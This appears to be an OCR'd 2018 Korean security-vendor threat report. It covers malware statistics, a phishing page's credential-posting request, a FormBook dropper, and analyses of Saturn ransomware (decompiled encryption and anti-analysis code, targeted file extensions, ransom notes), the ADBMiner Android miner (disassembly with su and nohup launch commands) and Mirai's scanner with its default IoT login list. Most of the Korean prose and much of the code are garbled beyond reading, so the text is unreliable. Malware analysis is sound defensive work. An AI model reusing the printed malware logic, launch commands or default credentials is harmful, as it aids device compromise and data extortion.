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Off 2E 7H 2 E2M0lr= QI=20|= ADEE AEAIE el= 7hdei Mz S40] 6 x| e

ANEZE AMSAIE HLE SAXSE BHEOIY UAIS 018010 AMS oL, S22 £ 81 250|
Bz EE Soll S8 AIA0[ER 2H0[M ARGLIE £ AHEMOIERZ 2|T0[HMIE ASAIS2 0| AVIES
Soll 7kef=t| x=z0 A7 = 22| OIS oA ELCE ADEZE ABASE AH ARQ| ANEES| HSKiotE
EAZICE HiZol| OELL O] A=ZY2 MOIEN AEAP HFEE S2t 2HIY HefRXNE SoHMEE A
SUHAEA | HAEEE Y2610 KO| OFdS SEoh= AlZt L) 25t | Whz0i 2XIsH | = oS,

SAREQ| 7hfeiH| A= SH=2 2 AOIATI0] OFgLICt 2 2ol OH0]d AFRETL HStE 19 7H2| 40|
T2E4(0[0f] B==E|0] U= A0| LAY | =0, 0] U5 FA| AEAL 224 Coinhive AFEHES =561
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Thanatos 7} 2 E0f| ZAZIOH 0] Thanatos = 7IE 0|HZ|Z2t HIEZ2IS 2+16k= A M| HIEZ2ITHAIS
12 2toh= HERIO[XIZE 17t ZXliott] i=elE 2t WA AZot= 7| 20| o0 AFEEIX| 220t

255HIZ2 XIZSICRIE 25517} Aol 7Hs55t 2HH Rl HAOIHSLICE
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U oPMTE TOP15

2018 H 2 Eo| Z1H AL Top 15 SAENM= X|H 1 2oj| 282 1,2 $IE XEX[RHE Trojan. HTMLRamnit.A 2F
TrojanAgent.gen 0] 2 & Top 15 E2|AENIME Set +=2IE HRCE K|t 1 20i| 5 $IE XFXIGHEH

Misc.HackTool AutoKMS 2T E EIX| 745=7F O] 2 20| 3 $I= IA| =27t S71RHCE HEMO = K| 1 2o

HISH 3 O|Lt MRUX[TE OfH 2 & AMTE UH H o= 8% Hr T SOISIULH,

= oo b= THE gz ISR
1 - Trojan Agent.gen Trojan 2,181,405
2 - TrojanHTMLRamnitA Trojan 1,069,148
3 12 Misc.HadkToolAutoKMS Trojan 811,321
4 - Win32Ramnit Trojan 746,861
5 13 Adware GenerickD.12447732 Adware 553,480
6 I3 Adware SearchSuite Adware 451388
7 New Hosts.media.opencandy.com Host 360916
8 t5 MiscKeygen Trojan 329,208
9 16 TrojanLNK.Gen Trojan 320,256
10 New Gen:VariantUrsu.110512 Trojan 291,361
11 New Adware GenericKD.5437532 Adware 282943
12 - Win32.Neshta A Trojan 265,573
13 1 BackdoorAgent Orcus Backdoor 239471
14 New Wom.ACAD Bursted doc.B Wom 189,381
15 New JS:TrojanJS Agent. SAP Trojan 179,059

R T AOE AZAIL| ZHSAS S AEer =21 2018 H2 801 2~20181H2 228
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2% - m A0[RI (Spyware)
=] b = 0 =410 (Adware)
16% m |2 (Exploit)
=& (Worm)
u 7|E} (Etc)

m 8= 0f (Backdoor)
mHO|HA (Virus)

m 5t0|x{7{ (Hijacker)
mSAEMA (Host)

7HE2]H okdTE Hig T Hlw

2 E0il= 1 2t H| w5t EZ0=0KTrojan) AETE A 7HEI112] HIZ0] 66%0IM 75%= F7 Rt TEQI

HISS ZASIGIT 2T 22 TP OMTC 221 media.opencandy.com EHX| 71 47 MEZ| ERIEIACY

——
EZ0| 50} (Trojan) 660/75%

AT}0|2I0] (Spyware) | §%
OHESI0{(Adware) RS o,

StOIxHAH(Hijacker) | 9%

& (Worm) M 9% =g
F M (Exploit) wl "4, e

HROIZ{A (Virus) | 9%

4 = 0 (Backdoor) & 9%
SAEI(Host) #‘*;A
JIEKELD) | 0%
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HE 2ot B

C ‘ A 2 | .myjino.ru/verify./accOunt/loading.php

7o FUAl

[ 3] OIZKIE QRMP P | 2it = HA

POST /verify./accBunt/post.php HTTP/1.1

Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/
pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*

Referer: http://= J.myjino.ru/verify./accBunt/komail.php?email=abcdefg@abcd.com
Accept-Language: ko-KR

User-Agent: Mozilla/4.8 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.8; SLCC2; .NET
CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.8C;
.NET4.8E; InfoPath.2)

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Host: myjino.ru

Content-Length: 35

Connection: Keep-Alive

Cache-Control: no-cache

email=; W@mm . com&pass= HTTP/1.1 302 Found

(22 4] MERHE 7Rt Az TRl 21

MRt ST =23t HIYH EXfichs P =2 230 Uiol 2{Es| F2felFAl7| HIZLITt
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gh A2t @hanmail.net
@ 1zs o= 0712 SYSUAIR. O HES 2557 5 0| HAK| 25 JEe
NHESZ CG2ECEX galUn

A X| R == rar (210 KB)

-

A =D
by oLy

FE P201706102| BE-EFL SIS HodA|2.

Z22 Fintex A YZE E3) Lintas Setia SIN (PO2| =4 NE FE AEhHo
BUAMAI2 2534 1749 8 Bt Bl =X BT Z UFTAAL.
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oY Dol FE Tl F2

=rar Ofl= purchase order.exe’ 13t IA0| USLICY.

0 ot %, OHOIE

F&¥rar- 28

£ 1oE, 779KB

L)) 0 - as OO|&
L 4 @ = 71Ct3)
— e b
Or== d,iAlBh A‘LEO';‘: or;c-;
A=F7| =c - === —
= XM
B0 3 A X | o3 4837 R FET W
[¥:] purchase order.exe 797832 S

2= 2018-03-05 AM 04:40:00

purchase order.exe’ WS

[ 2] b Hi0f| HE T rar T

%APPDATA% ZZ0| tmp.exe TAS E2 L Alslist

Process,Start{startinfo);
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02 HE7t Eet 7|

CE2L|0] AlE)= 'tmp.exe' oIS T A Q1AM Olé, Y= 2R VIsE

T O[SAP} R0 HRELES HAHSIS F? AT =0 HFEN =T 52
iil@)

ZQelLCt TRt S S2et HIY0| U= R =2 230 Cish

AL

MO A
HL_= O

Sixf| LetofA sHE 2T == Trojan.Agent.FomBook, Trojan.Agent.797832em =
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[Trojan.Ransom.Saturn]

Ol-kli E_'II E_Il_k'

1. 70

H 2331 712 HIER
24| AL
St Fl satum SRXIE F716100, Cerber 2HMAIH2t DR EX[Z
stel Z20]| Lo = US3SIE
Isict SXEHet 2=

|-OI2 OI-;;l.ol_ =
J0| ER0|Ct EESE ok=20] ILg
wallet £

== O
= gel= A
2712 0] S0l= HIEZR! X

TBH= 2O RS WrAsl D

K| AIBXIR| B2 Il S35l
U= 7126H| Satumn OF E2j= M= 2HMY017} EZ

O|5HO]| 'LAE Satum HEI04=
ATEES 0[Sl SE9= ZH AL
N ‘EJ'.:EF =8} e 2dhh= & 162
SR ERE| 0] ACE

=2 HIMOA = Satum SHEYIE MM 24 St
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1) OZNA Al Q5= oI5HAJAE| 124 (0]

7} OIE| O

Saturn &Y= IR Z2EMAT CIHZA SQIX| 2RI510] Ml FFE AMSILY, IsDebuggerPresent 22t
CheckRemoteDebuggerPresent iS5 02510 SiXl ZZM|IA = 0[2|Q] IZM AT CIHZ Eh=X| SIS}
TIof CIHZ S0[|2f SRIEH M Us et 3 7t ol HRIE ofK| 1 ZENAE S=oICY,

if { IsDebuggerPresent()
{
(8);
LABEL 167:
{8);

goto LABEL 168;

e

uiil = H;

TH &uli1;

TT: GetCurrentProcess{)};

if { CheckRemoteDebuggerPresent{vh6, v87) && viil )

goto LABEL 167;

[ 724 1] Q| L2 2601

L} VirtualBox EfX|
HIXIAEZ] 7| 2t SO0IA CiSt 22 2/=0] ERIEH VirtualBox £ A2

[IPA

=01 ZHOZ QIAlGHT TEMAE EFSIC}

HIXIAEE] 7] 2

HKLM\\SOFTWARE\\Oradle\ \ VirtualBox Guest Additions

HKLM\\SYSTEM\ \ControlSet001\\Services\ \VBoxGuest

HKLM\\SYSTEM\\ControlSet001\\Services\\VBoxMouse

HKLM\\SYSTEM\\ControlSet001\\Services\\VBoxSF

HKLM\\SYSTEM\\ControlSet001\\Services\ \VBoxVideo

1] VirtualBox EX| HRRER| 7| 24
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2) Q| ZiE|
O=MA &l 2215 PHSoHH Satum 2ERlI0t= Y=elEl M| SES 87| ?lol AILR0| LEE S8MES
=5 (Kot \ts =7 7SS HIZFEeRRICE M AR AL MY FHEZ 1 ARSI,

pListOfExplicitEntries.grfInheritance = 68;
pListOfExplicitEntries . Trustee _pHultipleTrustee = 8;
pListDFExplicitEntries.Trustee.HultlpleTrusteeﬂperatlun = 8;
pListOfExplicitEntries.Trustee.TrusteeForm =
pListOfExplicitEntries.Trustee.TrusteeType =
pListOfExplicitEntries.Trustee. ptstrHame =

vog = @;
U99 . m128i_isu[A] = Pich;
ShellExecuteExA(&pListOfExplicitEntries.grfInheritance);

[ 2] QIE| Ztb] HH0{

3) eSS} O I 2

=t Ciief I HM2 2= =2| E20|2S Q= OJRITICE CiSat 22 EAIE0] 2R1=H Ao} THe0i|A]
HQIAZICE Of= AL @FZ Qlofl @i Pf HI SRz Srkl= ZRE Xlol7| /IOt ot eh=0] et
B=0]| CHohME =it TIRE|X] D5=Ct HIEZQI ZX|0f AFB%l= Tor Browser 2t 2AE Z2T H|QEICt

AS3} K| A=
\\Program Files
Windows\\

‘\\ProgramData\\
AppData\\Local\\
AppData\\LocalLow\\
AppData\\Roaming\\Microsoft\\
$RecycleBin\\

Application Data\\

\\Tor Browser\\

(2 2] A3t HR| 4=
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ChE1 22 XIS 71 TS O 2 AUSels Thlisit). 2FHXA} S0l HIETQ X! =839t HEtE
IASLE HSHE[O] QUL

Ixt psd .dwg .pptx .pptm ppt .pps 602 .csv .docm .docp .msg .pages .wpd .wps .text .dif .odg.123 xls xlr .doc.in
dd xlsxxlsm .docx.rtf xml .dot .pdf .cdr .cd .1cd sqlite wav.mp3 .wma .ogg .aif .iff m3u .m4a.mid .poma .obj.ma
x.3dm .3ds .dbf .accdb .db .dbf sql jpdb .mdb .wsf .apk .com torrent .old .bank .raf .raw .moneywell .blend .design
.dxb .cad kix .proto .pb .pyw fsproj.mfa k25 .gcw tax2017 .aep .swf.mswmm flp .off .dot .odm .jou .rpb .abk .ph
p5 .ocx .der bik back .exf sav.incpas .stx bk .jpg .jpeg tiff tif png bmp .svg . mdi.mp4 .mov .gif avi wmv sfk .zip
rar.7z tar backup .bak . ms11.ms11 (Security copy) . md veg .pproj .prproj ps1 .htm .rss json .php .c.h .cpp .asm
Py .cs bat .cmd .vbs .class vb java jar .asp .js .lib .pas tiff tif .cgm .nef .crt .csr.p12 pem vmx vmdk vdi .gcow2 v
box .wallet .dat .cfg .config

[ 3] S5 Chet 2P}

4) IiH AS5}
OrS 3} [ifaf MIQ| BIO|EH= AFS 128 UWRIEOR AS3HE|D, 0| ARRE AFS 7|= RSA UT2I5S 0185
==t ElLt RSA S7H7 = LR 0] ZSHE(0f QUCH.

CryptStringToBinaryny

8,
CRYPT_STRING_BASEG4HEADER,

[Z2!I3]RSA TP |

Ij0| Y=et Ef= AFE2 Chsat 20t

@ YS3t CHA0| 2 2= TUC| SARES WASICEL SARE DU Bet SR F7HEIC ex) PalinFile.txtBet
@ AES 212|EO = |Bet IfUQ| L|O|HE LSS} STt
@ MoveFileExA B2 0123l 24S3}E JBet TIYUS 7|E B MUHOZ CIA| HASITE ex)PlainFile.txt
(MoveFileExA 2| Flag &4 7t M= Of 7[= &= HF’E'% 0| XA ECt)

@ = TRUIHOZ HAE QS M0 satum XIS FIIBICE ex) PlainFile.txt.satum

o ol
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CIS2 2= THUQ| SARZ(JBet AP} F71E)S Aol HOIHE YSst A= Z=0| YOI,

1pHultiByteStr = CreateFileA{a2, GENERIC_WRITE, @, 8, CREATE_ALWAYS, FILE_ATTRIBUTE_MNORMAL, @};
if { 1lpHMultiByteStr == -1 }
goto LABEL 19;
qmencpy{&szProvider, L"Microsoft Enhanced RSA and AES Cryptographic Prowvider', 8x6Cu);
if ( *CryptAcquireContextW(&phProv, B8, &szProvider, PROV_RSA_AES, BxFA0008608)
|1 *CryptCreateHash{phProw, CALG_SHA 256, @, @, &phHash) )
{
goto LABEL_11;
S
if { CryptHashData{phHash, pbData, duDatalen, 8) )}
{
if ( CryptDeriveKey(phProv, CALG_AES_128, phHash, 8, &phKey) )
{
nemset (&Buffer, B, 0x80u);
HumberOfBytesRead = 8;
ug = B8;
duDatalena = 8;
pbDataa = GetFileSize{v5, @);
while { ReadFile({v5, &Buffer, 8x86u, &NumberOfBytesRead, @) )

if { *HumberODfBytesRead )
break;

duwbDatalena += HumberOfBytesRead;

if ( dwDatalena == pbDataa )
ug = 1;

CryptEncrypti{phKey, 8, w8, @, &Buffer, &NumberOfBytesRead, Bx86u);

NumberOfBytesWritten = 8;

if { tWriteFile{lpMultiByteStr, &Buffer, NumberOfBytesRead, &HumberOfBytesWritten, 8) )
break;

memset (&Buffer, B, B8x88u);

¥

CryptReleaseContext{phProv, B8);
CryptDestroyKey{phKey);
CryptDestroyHash{phHash};
CloseHandle{w5);
CloseHandle{lpHultiByteStr};
goto LABEL_19;

[ 4] 2= I SARR MY S L 53t 3=

IXI0]| satumn SFRXIS F7ISICL

if ( v223 >= Bx18 )

vl = =R{Hu221;
ExistingHame v6B = &u2B8;
HewName u148 = uS9;
if { v210 >= @x18 )

ExistingHame u68 = v288;
MoveFileExA{ExistingHame v6B, HewHame v148, flag);
uh1 = &u28h;
flag = 1;
if { v286 >= Bx18 )

UGl = u284:

ExistingHame w62 = &u221;
HewHame w148 = whHl;
if ( u223 >= Bx1@ )

ExistingHame w62 = =Bu221;

u63 = MoveFileExA{ExistingHame v62, HewHame v148, flag);

[ 5] SsfE I satum ZFEREIt
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Y=ot U2 ChEl} 22 OfY 7115 7RIC. =eh 240 M2t 16 HIOIE S5 HRIS X=57| leh A42(17]

PADDIN G Z& 7Iolal, 80byte 2| A=2lEl AES 7| 2t F71eiT.

A==l AEST|
(80 byte)

[T 6] YSsfel T 7=

et 2t 20l= FEH ME=M| 7|sS Jafeitt

esstH

JPEG O[O
B858KB

A%t jpg

M7 Efo| B 2g - APl 2ol = a2 o
AR S AT S
23t jpg =

Tulips.jpg.saturn
SATURN gt
606KE

1%
— =
- JPEG Q[0I%| . #KEY-506cc30d8333§382c760313
826KE c7dfeeals KEY
+==Jpg e
3
T . Chrysanthemum jpg.saturn
SATURMN gl
531KB B58KE
112, jog ) Deseetipg. st
n JPEG O[O)| oL e
757KB
~.  Hydrangeas jpg.saturn
DY jpg SATURN I
ﬁ JPEG O/0[ %] 581KB
762KE .. Jellyfish jpg.saturn
SATURN I}
Slhipg 757KB
JPEG 0|O|X] . Koalajpg.saturn
S43KB SATURN Ibe
T62KB
i ¥ & ‘f:'ﬂ’-JEg . Lighthouse jpg.saturn
| JPEG 0[O|%| SATURN THe!
759KE S43KE
- B Penguins.jpg.saturn
E8pg SATURN I
- SA b
m JPEG 0[] 759K8
606KE .
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03 Y= EM HY

5) HHE-E A

et S0 Uoll= 2Bt 7| TA0| dJEL HigelHii= HEERt =0 vbs ATEE MA:
H YEECE 4T = HER = YL ES Solf YselE LS S71e 4= U= L0l CHol s BIEZL

ZHIE Roitt ddkl= T2 St 20,

A8 Iy
#DECRYPT_MY_FILES#.html

#DECRYPT_MY_FILES#.txt
#DECRYPT_MY_FILES#.vbs

#DECRYPT_MY_FILESBMP

H#KEY-ID-32 X2| KEY

[H 4] YS3t 2 A=

#DECRYPT_MY_FILES#.vbs' AT EE A2 AEA0IH SECZ HEA0 HF AES LRICE F 4 H H=EC0L

ﬁ ZDECRYPT_MY_FILESZ.vbs - 27
o) =EE M0 EFN ES2H)

Set C = CreateObject("SAP|.SpV¥oice™)

C.5peak "Attention! Attention!”

For i =1 to 4

E.Speak “"¥our documents, photos, databases and other important files have been encrypted!”
ext

[j_al 8] 0||_H ATEIE ORI

xt 2 html 2 Y= HELET ORDVIKIZ AZAP T 00| 2= AFS YEIC 12|30 HIEFQ! ZXE
Flet B2 BRK ZXIE RSl

ESTsecurity



Ve
12
0%
i
2l
1x
i

SATURN

Your documents, photos, databases, and other important files have been encrypted!

To Decrypt your files fallow these instructions:

1. Download and Install Tor Browser from https:/iwww.torproject.org/

2. Run the browser

3. In the Tor Browser, open website:

4. Follow the instructions at this website

[ 9] Tl E 31

E2 HAIRK | £ B0 OHLIE FAT TSIV KEY IS YR 4 QU 1P| L0 oas
HIERK= S KEY M3t captcha 7152 Sdll AKX 201S AlsiC)

Saturn Ransomware X &

S 0' € O su‘-’_n.‘;i{}‘v". dex.php?lang=us ] Q Searcl a =

User Login

Login

Please upload the keyfile from your computer and solve the
captcha to get your files back. Your keyfile can be found on
the folders of encrypted files or desktop. (Eg.
FKEY-XXOO00COOOOOKXXXXXXX XXX X KEY)

Browse... | No file selected

MFRUY

Enter the text you see in the image:

Submit

[T 10] E2 ERRKE O[S AISKT 2101 51H
2oz AMTAC HEK= Z2ssof| ERSE  Satumn Decryptor AZEHE == 7SI} S04
HIZS ZHUZEH 7 20o|Lioll= 300$(0.02853903 BTC)0|1, 7 0| X|LtH 2 Hi2l 600$(0.05707806 BTOS

KI=ZSHOFRIT L QHLSHY,
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Saturn Decryptor P
S @ € O s i sid=e B2t MR S @ || Q sesrch a
Home FAQ Support

Saturn Decryptor

All your documents, photos, databases and other
important files have been encrypted!

To restore your files you have to buy a special software called 'Saturn Decryptor
If you pay within 7 days the price will be 300$ (0.02853903 BTC)
After 7 days the price will rise to 600% (0.05707806 BTC)

Your files will be recoverable for a month, after that your files are forever gone.

Special price will end in 6 days, 23 hours, 59
minutes, 57 seconds

(72! 1] HIESR| 271 5

6) XSLRI S5

C:\Users\AI2X A\ AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup ZA=0| H}Z77|(Ink)

o = —_ = = =
IS Hdot0] AAR T ALEE O]20= AETET ElE o= UE ASHd SFeltt
[=[@][=]
=T ) AR==IB I EEEEEEET ol
E7] &5 Oig ~ M E0 =~ 0 @
E 2% 37
[ | pn2puu7l HtE 7t7| 1KB

1| PN2puu7l £4
it | HE2 DK (b Al [ Eot | AME | OF HE |

@‘. prZpuutl

[Hah 30 EXE_ THY

[H& 21 Desktop

[H-&H T QT E MTOU HE

AEERIRIE):

HHE 2t71 F1Ky: 218

SRy EEE =)
230}

o g7 ) || ooz ez, || 320, |

[ 12] XISkt S= 51
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O[3 Satum BHS20I] R TRYS HEGIX| LOLF MZ[E 4 Q= ARRKS ARBH ARBKIZEE] ALK, OIS

Soll HE UUS 7t590| =L,

Il

Satum HAO= 7[Z 2HEA0L} ORIV IX|Z S| 28501 0|55 SXCZ ot =20lE ?let AZEH0]
~0f HIES 25 0[20f= 2 HH Ol 22BN MEAIZ Sl S Xt 714 [ AUSI=S R0kl AL,
T2t Fi =32t HIES XIE eiChl oiM 528 AZEQUE MiSeitk= 2E0| gl 100% =&S 7|6k |

O1E7| t=0i| HIZS XI=ot= A2 HEoK| =L,
(A, SHERI00f ZEEIX] 2271 LloHM= KIY0| S5, SX17t = H=fe! O|H0[LE URL 2 AASHK| 240t0F
oI} TEot OS 2t OS2 AHI0 S ket 2K HE0|E B2 RX[oH0f o1, SR Atz= 25 DRI AEoh=

eors S0{0F STt

Sl LM shiE A0S Trojan.Ransom.Satum 22 FITtskr QICt
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[Trojan.Android.CryptoMiner]

qdIE =4 HAIA

1. 70

Kt 2016 12 10 & 21 & =H0] Fefet 10T 7[71=0] 0I={0] &7 =0]| ZEEI0 DDoS SZ0| EEE(XUC. 0]
O[240] FE=9 AATF SR, 2018 H 1 & 31 YRH 0|F &8st A=20|E AETETHSTOIRL, D|=H0]

OIMTACR} ORIIX|Z ¥ SEZ AAZ FOLE|H QH=Z0]|= 0S 2] ADB (Android Debug Bridge) QIEIH|0|AS
O|gsir}. ZYE 717|152 Z2H= =20 OIZEICt.

2 24 HIM0jAS "ADBminer'S M| £ SHIXL Bt

—

ESTsecurity



1) b= I A8
E|Z= MUQI sss IS MAHGIH S 3IE botdat S SS36H, SS3HE bot.dat 2 nohup, xmrig32/64, droidbot

S2 MMs5H droidbot 2 712 invoke.sh, debuggerd S AAISITL

elks: Sdatad local tmp

shel |
root
o |;:;|‘|:
root
root
o |;:;|‘|:
root
root
o |;:;|‘|:
shel |
root
o |;:;|‘|:

(12 1] =255t 2l m
2) bot dat 255}

Bot.dat 7t =221 6 72| TX0| MM ZUH|= = &3 MY, & T, XESHQ1 oFd delS fleh 2 oiY

SO QU

ESTsecurity
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0x
I
AI
1%
LE

ADD
HOU
ADD
LDHIA
STR
HOU
STR

SUBs
BHE
LDR
HOU
ADD
BL
CHP
BHE
BL

sub_9888
LDR
HOU
STHFD
ADD
BLX
LDR
HOU
ADD
BLX
LDR
HOU
ADD
BLX
LDR
HOU
ADD
BLX
LDR
HOU
ADD
BLX
LDR
HOU
ADD
BLX
HOU
LDHFD

3) OFd WA AR}

R3, PC, R3 ; “bot.dat"
R2, RO
R12, R4, RO

R3*, {RO,R1} ; “bot._dat™

R8, [R4,R2]

R8, R4

R1, [R12,#4]

cub_91A0

Ré, RA, Ho

loc_8DFY4

R1, ={aDatalocalTmp - @x8DGC)
R8, R4

R1, PC, R1 ;
csub_8Fn8

RB, #@
loc_8DFY4
cub_ 9088

“fdataslocal/tmps™

RO, =(abDatalocalTmpCo - Bx9089C)
R1, #0x1ED
SPY, {R3,LR}

R8, PC, R ; “/data/local/tmpfconfig.json™

sub_EDEG

RB, ={aDatalocalTmpIn - Bx98AC)

R1, #8x1ED

RA, PC, RO ; "/data/local/tmp/invoke .sh"
sub_EDE6

RB, =(aDatalLocalTmp_8 - 8x98BC)

R1, #Ox1ED

RA, FC, RA ; "/dataslocal/tmps/nohup™
sub_EDE&

RA, =(aDatalocalTmpim - Bx98CC)

R1, #8x1ED

RB, PG, RO ; "/data/local/tmp/xmrig32"”
sub_EDEG

RB, ={aDatalocalTmp_1 - Bx98DC)

R1, #8x1ED

RA, PC, RO ; "/data/local/tmp/zmrig6y’”
sub_EDE6

RB, =(aDataLocalTmpDr - 8xz98EC)

R1, #Ox1ED

RB, PC, RB ; "/data/local/tmp/droidbot™
sub_EDEG

RO, #0

SPt, {R3,PC}

; End of function sub_9888

32 =sski=1R 55

d ATEES MISREUM RSO Z 2loh| fIgh nohup 2+ & IHUQ! droidbot S 2/RHSHTH.

.rodata:B88829EFC aSuCDatalLocalTm DCE "su -c /fdataflocalstmp/nohup fdata/flocal/tmp/droidbot™,8

.rodata:a802%EFG
-rodata:B8829EFC

.text:00008DAC

.text:00008DBA
.text:00008DBLY

ESTsecurity

LDR
ADD
BLX

; DATA XREF: .text:nA@agDBaio
; -text:off_SE18To

RA, ={aSuCDatalocalTm - 8xBDB&)

RA, PC, RA ; “su -c fdataflocal/tmp/nohup /fdata/local™...
sub_128ES8

[ 3] nohup ! droidbot A4



4) droidbot

4719 MUS HEoHH HFE 7|71 O =E XEoP | H=5 siFe MUS0|C
sub_8D68
LDR RB, =(aDatalLocalTmpIn - Bx8D78)
STHFD Spt, {R3,LR}
AbD R8, PC, RB ; "/data/flocal/tmp/invoke.sh"
BL¥X sub_F178
LDR R8, =(aDatalocalTmpDd - BxBD84)
AbD R8, PC, RB ; "/dataslocal/tmp/ddexe"
BLX sub_F178
LDR R8, =(aDatalocalTmpDe - BxBD?8)
ADD R8, PC, RB ; "/dataslocal/tmp/debuggerd™
BLX sub_F178
LDR R8, =(aDatalocalTmp_1 - 6x8DAG)
LDHFD SPt, {R3,LR}
AabD RA, PC, RO ; "/dataflocal/tmp/install-recovery.sh™
B sub_29828
: End of function sub 8D68

[ 4]4 71| IRkl

5) DE{0| FE &8

2/l 0]210] Z=2| SYN Scan S22 EE3ICt

C) GitHub - jgamblin/Mirzi %

C | & GitHub, Inc. [US] | https://github.com/jgamblin/Mirai-Source-Code

jgamblin / Mirai-Source-Code

¢> Code Pull requests 0 Projects 0 Insights

while {0l == 127 || /f 127.8.9.8/8 - Loopback

(ol == a) || /f 8.0.0.8/8 - Invalid address space

(ol == 3) || ff 3.8.8.8/8 - General Electric Company

(ol == 15 || o1 == 18) || ff 15.08.8.8/7 - Hewlett-Packard Company

{0l == 58) || ff 56.8.8.8/8 - US Postzl Service

{ol == 18) || ff 18.8.8.8/8 - Internal network

(ol == 192 && o2 == 168) || /7 192.168.0.8/16 - Internal network

{0l == 172 && 02 »= 16 && o2 < 32) || ff 172.16.8.8/14 - Internal network

(0l == 180 &% 02 >= 64 &% 02 < 127) || f// 108.64.0.9/10@ - IANA NAT reserved

(0l == 169 && 02 > 254) || f/ 169.254.8.8/16 - LANA NAT reserved

(ol == 193 && o2 »>= 18 &8 o2 < 20) || // 198.18.8.9/15 - IANA Special use

{ol »>= 224) || fF224.% % ks - Multicast

(ol ==6 || o1 ==7 || ol ==11[] 0l ==21 || 61 ==22[| ol == 26 || 01 ==28 || ol == 29 || ol == 3@ || ol == 33 || o1 == 55 |

ESTsecurity
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while {( 1)
{
u98 = sub_BF54{});
v91 = {unsigned _ int8)uv9A@ == @;
if ( (unsigned _ int8)ufB == 127 )
vol = 1;
if ( tu?1 && (unsigned _ int8)u98 *= 3 && (unsigned int){unsigned _ int8)uo98 - 15 > 1 )
{

v92 = {unsigned _ int8)u98 == 18@;
if  (unsigned _ int8)u9a *= 18 )
u92 = {unsigned __int8)uP8 == Sa;
if { tu92 )
{
{unsigned _ int16)uv98 >> 8;
ul3 == 168;
if { v93 == 168 )
v9y = (unsigned _ int8)uv9@ == 192;
if ( tuoh )
{
u9L = ui3 == 31;
if { v93 - 16 <= BxF )
v95 = (unsigned _ int8)v9@ == 172;
if { tu9s )
{
vih = u93d == 126;
if ( v93 - 64 <= Bx3E )
ud6 = (unsigned _ int8)u98 == 188;
if § tu9s )
{
ui7 = u93 == 255;
if  v93 == 255 )
v97 = {unsigned _ int8)u98 == 169;
if { tvo7 )
break;

uint32_t FENOBRERE(void) //period 2°06-1

{
wint3z_t £t = x;
Tt "=t <g 11;
Tt "=t »» B}
K=Yy ¥ =13 T =W
W t= W x> 193
W =t
return w;
H
sub_8FSN
var_b4= -4
LDR R3, 168688
STR R4, [SP,Muar 4]t
ADD RE3, FC, R3 | dword_ 32254
LDR B2, [R3,M2]
LDR k1, [R3]
LDR Rb, [R3,84]
LDR R12, [R3,88]
EOR Rr@, RZ, RZ,LSRN1?
EOR R1, R1, RB1,L5L#H11
5TR k2, [R3,#8]
ENR RA, BB, R4
STR R4, [R3]
EOR R@, RO, R1,LSRN8
3TR R12, [R3,H4]
5TR RO, [R3,#0xC]
LDR Ry, [SPebevar_i],#4
BY LR

[ 5] 72121 P 4d

ESTsecurity copyright © 2018 ESTsecurity Corp. All rights reserved.
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opyms

A

M HT

OHEI' o I'A'Izl I:()"A-I.E_

EAIES0| Lo EXHRICt

5555 ZEQ9]

[=y § o]
2xfe

ARZEIX| EUXIEE OI210] 2

TE9| S Eodt &

] 10T 7P 1=2] 7= HIZH=2t

@ GitHub, Inc. [US]

https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/scanner.c

tcph->window = rand_next() & @xffff;

tcph-»¥syn = TRUE;

/f Set up passwords

add_auth_entry (" 58" x4D\x4D\x56"
add_auth_entry (" x50 x40\ x4D\ x56",

add_auth_entry (" \x58'x4D\x4D\ 56",

add_auth_entry (" \x43 <46\ xaF\ x4B \xq4C

add_auth_entry (" x50 x40\ x4D\ x56",
add_auth_entry (" \x58"\ x40\ x40\ x56",
add_auth_entry (" x50 =40\ x40\ x56",
add_auth_entry (" x50 x40\ x4D\ x56",
add_auth_entry (" \x58"\ x40\ x40\ x56",
add_auth_entry (" x50 =40\ x40\ x56",
add_auth_entry (" w51\ =57 W52\ 152

"hoeBANA AT LA DT A1 3\ K13,
"G4\ 4B\ KSBAKEAKS4", 9);
THE3\ 46\ KAF\ 4B\ e, B))
Ty T3\ AE AT\ B A", T);

oAV IAKIANKLIA VR IAWKIAY, 6);
TUHBANKNSF \ AR AR\ XEB\ K52 \ a1, 5);

"dE AT\ A4 A3\ k5T \KEE\MEE", 5);
MABNNET A 30 K56 AT el dA ", 5);
"yl3\x1e\ K11y K16\ x17\x14", 5);

"yl 7K1\ k114 x184x13", 5);

D584 56", "W x514x57 W x52 %52\ x40\ k58" x56"

1a);

5)

0 ; - C PMMY
rodata:00024... 00000006 C TKXZT
rodata:00024... 00000006 C CFOKL
rodata:00024... 00000008 C ZOIFKRA
rodata:00024... 00000008 C FGDCWMY
rodata:00024... 00000009 C HWCLVGA]
rodata:00024... 00000008 C QWRRMPY
rodata:00024... 00000009 C RCQQUMPF
rodata:00024... 00000005 C WQGP
rodata:00024... 00000005 C RCQQ
rodata:00024... 00000005 C CFOKL
rodata:0002A... 00000009 C QOACFOKL
rodata:0002A... 0000000E C CFOKLKQWPCVMP
rodata:0002A... 00000007 C OGKLQO
rodata:0002A... 00000008 C QGPTKAG
rodata:0002A... 00000008 C QWRGPTKGMP
rodata:0002A... GO000006 C EWGQV
rodata:0002A... 00000005 C CFOKL
rodata:0002A... O000000E C CFOKLKCGVPCVMP
rodata:0002A... 00000005 C waLv
rodata:0002A... 00000006 C HT@XF
rodata:00024A... 00000005 C Cum
rodata:00024A... 00000005 C WHaolM
rodata:00024... 00000006 C TKXZT
rodata:00024A... 00000005 C WHolM
rodata:00024... 00000006 C CFOKL
rodata:00024... 00000007 C Qaveo
rodata:00024... 00000005 C Kiu@
rodata:00024... 00000009 C FPGCO@MZ
rodata:00024... 00000008 C PGCNVGI
rodata:00024... 00000005 C WGA)
rodata:00024... 00000007 C OMWIGP
[ 6] DEI0 R S| ZXiich= X1

| IP 2 SYN AZHS Tt

ESTsecurity copyright © 2018 ESTsecurity Corp. All rights reserved.

/ root
/ root
/ root
/ admin
/ root
/ root
/ root
/ root
/ root
/ root

/ support

xc3511
vizxy
admin
admin
588888
xmhdipc
default
Juantech
123458
54321

support

=5l

—_

30
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HOU RG, |#OxE315
LDR R18, =(aD D D D - Bx94D4)
